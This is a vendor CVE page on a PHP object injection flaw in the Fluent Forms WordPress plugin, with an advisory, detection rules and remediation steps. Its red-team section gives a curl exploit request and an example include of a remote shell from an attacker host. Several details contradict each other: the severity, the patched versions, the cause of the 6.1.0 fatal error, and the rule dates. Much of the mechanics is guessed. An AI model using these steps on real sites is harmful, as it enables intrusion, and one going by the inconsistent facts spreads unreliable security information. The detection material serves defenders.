☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Forms logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9260

CVE-2025-9260 Remote Code Execution in Fluent forms
📅 PUBLISHED: 2025-09-02 23:22 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.70%
👁️
0.70% probability
17.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9260 is a critical PHP Object Injection vulnerability in the Fluent Forms WordPress plugin (versions 5.1.16 to 6.1.1). The flaw resides in the parseUserProperties function, which deserializes untrusted user input without proper validation. An authenticated attacker with Subscriber-level access or higher can inject a malicious PHP object. If a POP (Property Oriented Programming) chain exists in the plugin or WordPress core, the attacker can read arbitrary files. If the server has allow_url_include enabled, remote code execution (RCE) is possible.

The vendor released a patch in version 6.1.0, but it caused a fatal error due to a missing class import. The fully corrected version is 6.1.2. This vulnerability is particularly dangerous in shared hosting environments where allow_url_include might be enabled.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Fluent Forms plugin is distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are affected. The supply chain risk is moderate because the plugin is widely used, but the vulnerability requires authentication, limiting the attack surface to registered users.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High (file read)
  • Integrity Impact: Low (potential code execution)
  • Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication, but Subscriber-level access is trivial to obtain on many WordPress sites. The potential for file disclosure and RCE makes it a serious threat.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection via unserialize() in the parseUserProperties function. This function is likely called when processing form submissions or user data. The attacker controls the serialized data, allowing them to inject arbitrary PHP objects.

POP Chain: A POP chain is a sequence of PHP magic methods (e.g., __wakeup, __destruct, __toString) that are automatically invoked when an object is unserialized. By chaining these methods across different classes, an attacker can achieve arbitrary file read or code execution. In this case, the POP chain likely uses WordPress core classes or other plugin classes to read files via file_get_contents() or similar functions.

RCE Condition: If allow_url_include is enabled in php.ini, the attacker can use a POP chain that includes remote files, leading to RCE. This is a common misconfiguration in shared hosting.

Vulnerable vs. Patched Code

Vulnerable Code (5.1.16 - 6.1.1):

public function parseUserProperties($data) {
    // No validation or sanitization
    $properties = unserialize($data);
    // ... process properties
}

Patched Code (6.1.2):

public function parseUserProperties($data) {
    // Validate input is a serialized array of allowed types
    $properties = maybe_unserialize($data);
    if (!is_array($properties)) {
        return [];
    }
    // Sanitize each property
    foreach ($properties as $key => $value) {
        $properties[$key] = sanitize_text_field($value);
    }
    return $properties;
}

The patch uses maybe_unserialize() (which is safer but still not fully secure) and adds input validation and sanitization. The missing class import in 6.1.0 caused a fatal error because maybe_unserialize() was not available.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with Fluent Forms 5.1.16 - 6.1.1
  • Attacker account with Subscriber role
  • Knowledge of a POP chain (e.g., using WordPress WP_Http or Requests classes)

Exploit Steps:

  1. Identify the vulnerable endpoint: The parseUserProperties function is likely called via AJAX or REST API. Use browser developer tools to find the request.
  2. Craft the payload: Create a serialized PHP object that triggers a POP chain for file read.
    // Example POP chain using WP_Http
    $payload = serialize(new WP_Http());
    // Modify to read /etc/passwd
    
  3. Send the request: Use a tool like Burp Suite or cURL.
    curl -X POST https://target.com/wp-admin/admin-ajax.php \
      -d "action=fluentform_submit&data=$payload" \
      --cookie "wordpress_logged_in_xxx=..."
    
  4. Extract data: The response may contain the file contents or an error message with the data.

For RCE (if allow_url_include is enabled):

  • Use a POP chain that includes a remote file containing malicious PHP code.
  • Example: include('http://attacker.com/shell.txt');

Blue Team

Detection:

  • Monitor for unusual serialized data in POST requests to admin-ajax.php or REST API endpoints.
  • Look for PHP error logs containing "unserialize" or "__wakeup" errors.
  • Check for outbound connections to unknown IPs (potential RCE callback).

Hunting:

  • Search for serialized PHP objects in database entries (e.g., wp_postmeta, wp_options).
  • Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=fluentform_submit and suspicious serialized data.
  • File: Presence of unexpected PHP files in wp-content/uploads/ or /tmp/.
  • Log: PHP error logs containing "unserialize(): Error at offset" or "Class __PHP_Incomplete_Class".
  • Process: Unusual PHP processes executing include() or file_get_contents() with remote URLs.

Detection Engineering

YARA Rule

rule CVE_2025_9260_PHP_Object_Injection {
    meta:
        description = "Detects PHP object injection attempts targeting Fluent Forms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9260"
    strings:
        $serialized = /O:\d+:"[^"]+":\d+:\{/
        $fluentform = "fluentform_submit"
        $pop_chain = /__wakeup|__destruct|__toString/
    condition:
        $serialized and $fluentform and #pop_chain > 0
}

Sigma Rule

title: CVE-2025-9260 Fluent Forms PHP Object Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of PHP object injection in Fluent Forms
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'fluentform_submit'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate form submissions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9260 Fluent Forms PHP Object Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"fluentform_submit"; http_client_body;
    pcre:"/O:\d+:\"[^\"]+\":\d+:\{/";
    sid:1000001;
    rev:1;
    reference:cve,2025-9260;
)

Remediation & Mitigation

Immediate:

  1. Update Fluent Forms to version 6.1.2 or later.
  2. If unable to update, disable the plugin temporarily.
  3. Review user roles and remove unnecessary Subscriber accounts.

Long-term:

  1. Disable allow_url_include in php.ini (set to Off).
  2. Implement Web Application Firewall (WAF) rules to block serialized PHP objects.
  3. Regularly audit WordPress plugins for known vulnerabilities.
  4. Use a security plugin like Wordfence to monitor for exploitation attempts.

Patch Verification:

  • After updating, verify the parseUserProperties function uses maybe_unserialize() and input sanitization.
  • Check that the class FluentForm\Framework\Helpers\ArrayHelper is properly imported.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9260/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.